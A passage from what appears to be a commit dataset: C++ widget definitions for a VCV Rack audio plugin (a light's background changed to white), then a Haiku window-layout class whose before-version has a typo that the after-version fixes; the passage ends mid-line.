LIGHTS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct MyBlueValueLight : ModuleLightWidget {\n\tMyBlueValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(25, 150, 252));\n\t}\n};\n\nstruct MyYellowValueLight : ModuleLightWidget {\n\tMyYellowValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(255, 243, 9));\n\t}\n};\n\nstruct MyOrangeValueLight : ModuleLightWidget {\n\tMyOrangeValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(255, 151, 9));\n\t}\n};\n\nstruct MyGreenValueLight : ModuleLightWidget {\n\tMyGreenValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(0, 200, 0));\n\t}\n};\n\nstruct MyRedValueLight : ModuleLightWidget {\n\tMyRedValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(200, 0, 0));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ BUTTONS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct RightMoveButton : SVGSwitch {\n\tRightMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RightButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RightButtonDown.svg\")));\n\t}\n};\n\nstruct LeftMoveButton : SVGSwitch {\n\tLeftMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/LeftButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/LeftButtonDown.svg\")));\n\t}\n};\n\nstruct DownMoveButton : SVGSwitch {\n\tDownMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/DownButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/DownButtonDown.svg\")));\n\t}\n};\n\nstruct UpMoveButton : SVGSwitch {\n\tUpMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/UpButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/UpButtonDown.svg\")));\n\t}\n};\n\nstruct RndMoveButton : SVGSwitch {\n\tRndMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RndButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RndButtonDown.svg\")));\n\t}\n};\n\nstruct RepMoveButton : SVGSwitch {\n\tRepMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RepButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RepButtonDown.svg\")));\n\t}\n};\n\nstruct TinyButton : SVGSwitch {\n\tTinyButton() {\n\t\tmomentary = true;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyButtonUp.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyButtonDown.svg\")));\n\t}\n};\n\nstruct SmallButton : SVGSwitch {\n\tSmallButton() {\n\t\tmomentary = true;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallButtonUp.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallButtonDown.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SCREWS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct Snowflake : SVGScrew {\n\tSnowflake() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SnowFlake.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct WavHeadLogo : SVGScrew {\n\tWavHeadLogo() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/WavHeadSmall.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct Screw_J : SVGScrew {\n\tScrew_J() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Screw_J.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct Screw_W : SVGScrew {\n\tScrew_W() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Screw_W.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct CatScrew : SVGScrew {\n\tCatScrew() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Cat.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct HairballScrew : SVGScrew {\n\tHairballScrew() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Hairball.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ WIDGETS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nextern Model *modelAdd5;\nextern Model *modelBouncyBalls;\nextern Model *modelSimpleClock;\nextern Model *modelStr1ker;\nextern Model *modelD1v1de;\nextern Model *modelPres1t;\nextern Model *modelMinMax;\nextern Model *modelQuantizer;\nextern Model *modelNoteSeq;\nextern Model *modelNoteSeqFu;\nextern Model *modelNoteSeq16;\nextern Model *modelOnePattern;\nextern Model *modelPatterns;\nextern Model *modelWavHead;\nextern Model *modelXYPad;\nextern Model *modelFullScope;\nextern Model *modelGridSeq;\nextern Model *modelThingThing;\nextern Model *modelCat;\nextern Model *modelBlankPanel1hp;\nextern Model *modelBlankPanelSmall;\nextern Model *modelBlankPanelMedium;\nextern Model *modelBlankPanelLarge;\nextern Model *modelCoolBreeze;\n\ninline int clampijw(int x, int minimum, int maximum) {\n\treturn clamp(x, minimum, maximum);\n}\ninline float clampfjw(float x, float minimum, float maximum) {\n\treturn fminf(fmaxf(x, minimum), maximum);\n}\ninline float rescalefjw(float x, float xMin, float xMax, float yMin, float yMax) {\n\treturn yMin + (x - xMin) \/ (xMax - xMin) * (yMax - yMin);\n}\n\n<commit_msg>changed blue light background to white<commit_after>#pragma once\n#include \"rack.hpp\"\n#include \"QuantizeUtils.cpp\"\n#define RIGHT_ARROW \"▸\"\n\nusing namespace rack;\nextern Plugin *pluginInstance;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PANELS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct BGPanel : Widget {\n\tWidget *panelBorder;\n\tNVGcolor color;\n\n\tBGPanel(NVGcolor _color) {\n\t\tpanelBorder = new PanelBorder;\n\t\tcolor = _color;\n\t\taddChild(panelBorder);\n\t}\n\n\tvoid step() override {\n\t\tpanelBorder->box.size = box.size;\n\t\tWidget::step();\n\t}\n\n\tvoid draw(const DrawArgs &args) override {\n\t\tnvgBeginPath(args.vg);\n\t\tnvgRect(args.vg, 0.0, 0.0, box.size.x, box.size.y);\n\t\tnvgFillColor(args.vg, color);\n\t\tnvgFill(args.vg);\n\t\tWidget::draw(args);\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ LABELS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct CenteredLabel : Widget {\n\tstd::string text;\n\tint fontSize;\n\tCenteredLabel(int _fontSize = 12) {\n\t\tfontSize = _fontSize;\n\t\tbox.size.y = BND_WIDGET_HEIGHT;\n\t}\n\tvoid draw(const DrawArgs &args) override {\n\t\tnvgTextAlign(args.vg, NVG_ALIGN_CENTER);\n\t\tnvgFillColor(args.vg, nvgRGB(25, 150, 252));\n\t\tnvgFontSize(args.vg, fontSize);\n\t\tnvgText(args.vg, box.pos.x, box.pos.y, text.c_str(), NULL);\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ KNOBS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SmallWhiteKnob : RoundKnob {\n\tCenteredLabel* linkedLabel = NULL;\n\tModule* linkedModule = NULL;\n\n\tSmallWhiteKnob() {\n\t\tshadow->opacity = 0;\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallWhiteKnob.svg\")));\n\t}\n\t\n\tvoid connectLabel(CenteredLabel* label, Module* module) {\n\t\tlinkedLabel = label;\n\t\tlinkedModule = module;\n\t\tif (linkedModule && linkedLabel) {\n\t\t\tlinkedLabel->text = formatCurrentValue();\n\t\t}\n\t}\n\n\tvoid onChange(const event::Change &e) override {\n\t\tRoundKnob::onChange(e);\n\t\tif (linkedModule && linkedLabel) {\n\t\t\tlinkedLabel->text = formatCurrentValue();\n\t\t}\n\t}\n\n\tvirtual std::string formatCurrentValue() {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn std::to_string(static_cast<unsigned int>(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct NoteKnob : SmallWhiteKnob {\n\tQuantizeUtils *quantizeUtils;\n\tNoteKnob(){\n\t\tsnap = true;\n\t}\n\tstd::string formatCurrentValue() override {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn quantizeUtils->noteName(int(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct ScaleKnob : SmallWhiteKnob {\n\tQuantizeUtils *quantizeUtils;\n\tScaleKnob(){\n\t\tsnap = true;\n\t}\n\tstd::string formatCurrentValue() override {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn quantizeUtils->scaleName(int(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct JwSmallSnapKnob : SmallWhiteKnob {\n\tJwSmallSnapKnob() {\n\t\tsnap = true;\n\t}\n};\n\nstruct JwTinyKnob : RoundKnob {\n\tJwTinyKnob() {\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyWhiteKnob.svg\")));\n\t}\n};\n\nstruct JwTinyGrayKnob : RoundKnob {\n\tJwTinyGrayKnob() {\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyWhiteGrayKnob.svg\")));\n\t}\n};\n\nstruct BPMPartKnob : JwSmallSnapKnob {\t\n\tBPMPartKnob(){} \n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SWITCHES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct JwHorizontalSwitch : SVGSwitch {\n\tJwHorizontalSwitch() {\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Horizontal_0.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Horizontal_1.svg\")));\n\t}\n};\n\nstruct JwVerticalSwitch : SVGSwitch {\n\tJwVerticalSwitch() {\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Vertical_0.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Vertical_1.svg\")));\n\t}\n};\n\nstruct BowlSwitch : SVGSwitch {\n\tBowlSwitch() {\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Bowl-no-food.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Bowl-food.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PORTS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct TinyPJ301MPort : SvgPort {\n\tTinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M.svg\")));\n\t}\n};\n\nstruct Orange_TinyPJ301MPort : SvgPort {\n\tOrange_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_orange.svg\")));\n\t}\n};\n\nstruct Yellow_TinyPJ301MPort : SvgPort {\n\tYellow_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_yellow.svg\")));\n\t}\n};\n\nstruct Purple_TinyPJ301MPort : SvgPort {\n\tPurple_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_purple.svg\")));\n\t}\n};\n\nstruct Blue_TinyPJ301MPort : SvgPort {\n\tBlue_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_blue.svg\")));\n\t}\n};\n\nstruct White_TinyPJ301MPort : SvgPort {\n\tWhite_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_white.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ LIGHTS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct MyBlueValueLight : ModuleLightWidget {\n\tMyBlueValueLight() {\n\t\tfirstLightId = 1;\n\t\tthis->bgColor = nvgRGB(255, 255, 255);\n\t\taddBaseColor(nvgRGB(25, 150, 252));\n\t}\n};\n\nstruct MyYellowValueLight : ModuleLightWidget {\n\tMyYellowValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(255, 243, 9));\n\t}\n};\n\nstruct MyOrangeValueLight : ModuleLightWidget {\n\tMyOrangeValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(255, 151, 9));\n\t}\n};\n\nstruct MyGreenValueLight : ModuleLightWidget {\n\tMyGreenValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(0, 200, 0));\n\t}\n};\n\nstruct MyRedValueLight : ModuleLightWidget {\n\tMyRedValueLight() {\n\t\tfirstLightId = 1;\n\t\taddBaseColor(nvgRGB(200, 0, 0));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ BUTTONS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct RightMoveButton : SVGSwitch {\n\tRightMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RightButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RightButtonDown.svg\")));\n\t}\n};\n\nstruct LeftMoveButton : SVGSwitch {\n\tLeftMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/LeftButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/LeftButtonDown.svg\")));\n\t}\n};\n\nstruct DownMoveButton : SVGSwitch {\n\tDownMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/DownButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/DownButtonDown.svg\")));\n\t}\n};\n\nstruct UpMoveButton : SVGSwitch {\n\tUpMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/UpButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/UpButtonDown.svg\")));\n\t}\n};\n\nstruct RndMoveButton : SVGSwitch {\n\tRndMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RndButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RndButtonDown.svg\")));\n\t}\n};\n\nstruct RepMoveButton : SVGSwitch {\n\tRepMoveButton() {\n\t\tmomentary = true;\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RepButton.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/RepButtonDown.svg\")));\n\t}\n};\n\nstruct TinyButton : SVGSwitch {\n\tTinyButton() {\n\t\tmomentary = true;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyButtonUp.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyButtonDown.svg\")));\n\t}\n};\n\nstruct SmallButton : SVGSwitch {\n\tSmallButton() {\n\t\tmomentary = true;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallButtonUp.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallButtonDown.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SCREWS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct Snowflake : SVGScrew {\n\tSnowflake() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SnowFlake.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct WavHeadLogo : SVGScrew {\n\tWavHeadLogo() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/WavHeadSmall.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct Screw_J : SVGScrew {\n\tScrew_J() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Screw_J.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct Screw_W : SVGScrew {\n\tScrew_W() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Screw_W.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct CatScrew : SVGScrew {\n\tCatScrew() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Cat.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\nstruct HairballScrew : SVGScrew {\n\tHairballScrew() {\n\t\tsw->setSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Hairball.svg\")));\n\t\tbox.size = sw->box.size;\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ WIDGETS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nextern Model *modelAdd5;\nextern Model *modelBouncyBalls;\nextern Model *modelSimpleClock;\nextern Model *modelStr1ker;\nextern Model *modelD1v1de;\nextern Model *modelPres1t;\nextern Model *modelMinMax;\nextern Model *modelQuantizer;\nextern Model *modelNoteSeq;\nextern Model *modelNoteSeqFu;\nextern Model *modelNoteSeq16;\nextern Model *modelOnePattern;\nextern Model *modelPatterns;\nextern Model *modelWavHead;\nextern Model *modelXYPad;\nextern Model *modelFullScope;\nextern Model *modelGridSeq;\nextern Model *modelThingThing;\nextern Model *modelCat;\nextern Model *modelBlankPanel1hp;\nextern Model *modelBlankPanelSmall;\nextern Model *modelBlankPanelMedium;\nextern Model *modelBlankPanelLarge;\nextern Model *modelCoolBreeze;\n\ninline int clampijw(int x, int minimum, int maximum) {\n\treturn clamp(x, minimum, maximum);\n}\ninline float clampfjw(float x, float minimum, float maximum) {\n\treturn fminf(fmaxf(x, minimum), maximum);\n}\ninline float rescalefjw(float x, float xMin, float xMax, float yMin, float yMax) {\n\treturn yMin + (x - xMin) \/ (xMax - xMin) * (yMax - yMin);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"MPBuilder.h\"\n\nMPBuilder::MPBuilder(const BMessage &msg, const BMessenger &msgr, BString windowTitle, int ideaID)\n\t:\tBWindow(BRect(100, 100, 900, 700), windowTitle, B_TITLED_WINDOW, B_ASYNCHRONOUS_CONTROLS | B_AUTO_UPDATE_SIZE_LIMITS, B_CURRENT_WORKSPACE), launcherMessage(msg), launcherMessenger(msgr)\n{\n\t\/\/ initialize controls\n\tBRect r = Bounds();\n\tr.bottom = r.bottom - 50;\n\tavailableThoughtListView = new BListView(BRect(10, 10, 100, 30), NULL, B_MULTIPLE_SELECTION_LIST, B_FOLLOW_ALL, B_WILL_DRAW);\n\torderedThoughtListView = new BListView(BRect(10, 10, 100, 30), NULL, B_MULTIPLE_SELECTION_LIST, B_FOLLOW_ALL, B_WILL_DRAW);\n\trightButton = new BButton(BRect(10, 10, 90, 35), NULL, \">\", new BMessage(MOVE_RIGHT), B_FOLLOW_NONE, B_WILL_DRAW);\n\tleftButton = new BButton(BRect(10, 10, 90, 35), NULL, \"<\", new BMessage(MOVE_LEFT), B_FOLLOW_NONE, B_WILL_DRAW);\n\ttopButton = new BButton(BRect(10, 10, 90, 35), NULL, \"TOP\", new BMessage(MOVE_TOP), B_FOLLOW_NONE, B_WILL_DRAW);\n\tupButton = new BButton(BRect(10, 10, 90, 35), NULL, \"UP\", new BMessage(MOVE_UP), B_FOLLOW_NONE, B_WILL_DRAW)l\n\tdownButton = new BButton(BRect(10, 10, 90, 35), NULL, \"DOWN\", new BMessage(MOVE_DOWN), B_FOLLOW_NONE, B_WILL_DRAW);\n\tbottomButton = new BButton(BRect(10, 10, 90, 35), NULL, \"BOTTOM\", new BMessage(MOVE_BOTTOM), B_FOLLOW_NONE, B_WILL_DRAW);\n\tbackView = new BView(Bounds(), \"backview\", B_FOLLOW_ALL, B_WILL_DRAW);\n\tbackView->SetViewColor(ui_color(B_PANEL_BACKGROUND_COLOR));\n\tAddChild(backView);\n\tbackView->SetLayout(new BGroupLayout(B_HORIZONTAL, 0.0));\n\tbackView->AddChild(BGridLayoutBuilder()\n\t\t.Add(new BuilderMenu(), 0, 0)\n\t\t.Add(new BScrollView(\"scroll_available\", availableThoughtListView, B_FOLLOW_ALL_SIDES, 0, false, true, B_FANCY_BORDER), 0, 1)\n\t\t.SetInsets(0, 0, 0, 0)\n\t);\n\t\n\tcurrentideaID = ideaID; \/\/ pass current idea id selected to builder window to use\n\t\n\tmpdb = OpenSqliteDB(); \/\/ open mpdb db\n\tif(mpdb == NULL) \/\/ if db doesn't exist\n\t{\n\t\teAlert = new ErrorAlert(\"1.21 Sql Error: Sql DB was not opened properly\");\n\t\teAlert->Launch();\n\t}\n}\nvoid MPBuilder::MessageReceived(BMessage* msg)\n{\n\tswitch(msg->what)\n\t{\n\t\tdefault:\n\t\t{\n\t\t\tBWindow::MessageReceived(msg);\n\t\t\tbreak;\n\t\t}\n\t}\n}\nbool MPBuilder::QuitRequested(void)\n{\n\t\/\/ on quit, show launcher with message\n\tlauncherMessage.MakeEmpty();\n\tlauncherMessage.AddInt64(\"showLauncher\", 1);\n\tlauncherMessenger.SendMessage(&launcherMessage);\n\treturn true;\n}\n<commit_msg>working on mpbuilder layout<commit_after>#include \"MPBuilder.h\"\n\nMPBuilder::MPBuilder(const BMessage &msg, const BMessenger &msgr, BString windowTitle, int ideaID)\n\t:\tBWindow(BRect(100, 100, 900, 700), windowTitle, B_TITLED_WINDOW, B_ASYNCHRONOUS_CONTROLS | B_AUTO_UPDATE_SIZE_LIMITS, B_CURRENT_WORKSPACE), launcherMessage(msg), launcherMessenger(msgr)\n{\n\t\/\/ initialize controls\n\tBRect r = Bounds();\n\tr.bottom = r.bottom - 50;\n\tavailableThoughtListView = new BListView(BRect(10, 10, 100, 30), NULL, B_MULTIPLE_SELECTION_LIST, B_FOLLOW_ALL, B_WILL_DRAW);\n\torderedThoughtListView = new BListView(BRect(10, 10, 100, 30), NULL, B_MULTIPLE_SELECTION_LIST, B_FOLLOW_ALL, B_WILL_DRAW);\n\trightButton = new BButton(BRect(10, 10, 90, 35), NULL, \">\", new BMessage(MOVE_RIGHT), B_FOLLOW_NONE, B_WILL_DRAW);\n\tleftButton = new BButton(BRect(10, 10, 90, 35), NULL, \"<\", new BMessage(MOVE_LEFT), B_FOLLOW_NONE, B_WILL_DRAW);\n\ttopButton = new BButton(BRect(10, 10, 90, 35), NULL, \"TOP\", new BMessage(MOVE_TOP), B_FOLLOW_NONE, B_WILL_DRAW);\n\tupButton = new BButton(BRect(10, 10, 90, 35), NULL, \"UP\", new BMessage(MOVE_UP), B_FOLLOW_NONE, B_WILL_DRAW);\n\tdownButton = new BButton(BRect(10, 10, 90, 35), NULL, \"DOWN\", new BMessage(MOVE_DOWN), B_FOLLOW_NONE, B_WILL_DRAW);\n\tbottomButton = new BButton(BRect(10, 10, 90, 35), NULL, \"BOTTOM\", new BMessage(MOVE_BOTTOM), B_FOLLOW_NONE, B_WILL_DRAW);\n\tbackView = new BView(Bounds(), \"backview\", B_FOLLOW_ALL, B_WILL_DRAW);\n\tbackView->SetViewColor(ui_color(B_PANEL_BACKGROUND_COLOR));\n\tAddChild(backView);\n\tbackView->SetLayout(new BGroupLayout(B_HORIZONTAL, 0.0));\n\tbackView->AddChild(BGridLayoutBuilder()\n\t\t.Add(new BuilderMenu(), 0, 0)\n\t\t.Add(new BScrollView(\"scroll_available\", availableThoughtListView, B_FOLLOW_ALL_SIDES, 0, false, true, B_FANCY_BORDER), 0, 1)\n\t\t.SetInsets(0, 0, 0, 0)\n\t);\n\t\n\tcurrentideaID = ideaID; \/\/ pass current idea id selected to builder window to use\n\t\n\tmpdb = OpenSqliteDB(); \/\/ open mpdb db\n\tif(mpdb == NULL) \/\/ if db doesn't exist\n\t{\n\t\teAlert = new ErrorAlert(\"1.21 Sql Error: Sql DB was not opened properly\");\n\t\teAlert->Launch();\n\t}\n}\nvoid MPBuilder::MessageReceived(BMessage* msg)\n{\n\tswitch(msg->what)\n\t{\n\t\tdefault:\n\t\t{\n\t\t\tBWindow::MessageReceived(msg);\n\t\t\tbreak;\n\t\t}\n\t}\n}\nbool MPBuilder::QuitRequested(void)\n{\n\t\/\/ on quit, show launcher with message\n\tlauncherMessage.MakeEmpty();\n\tlauncherMessage.AddInt64(\"showLauncher\", 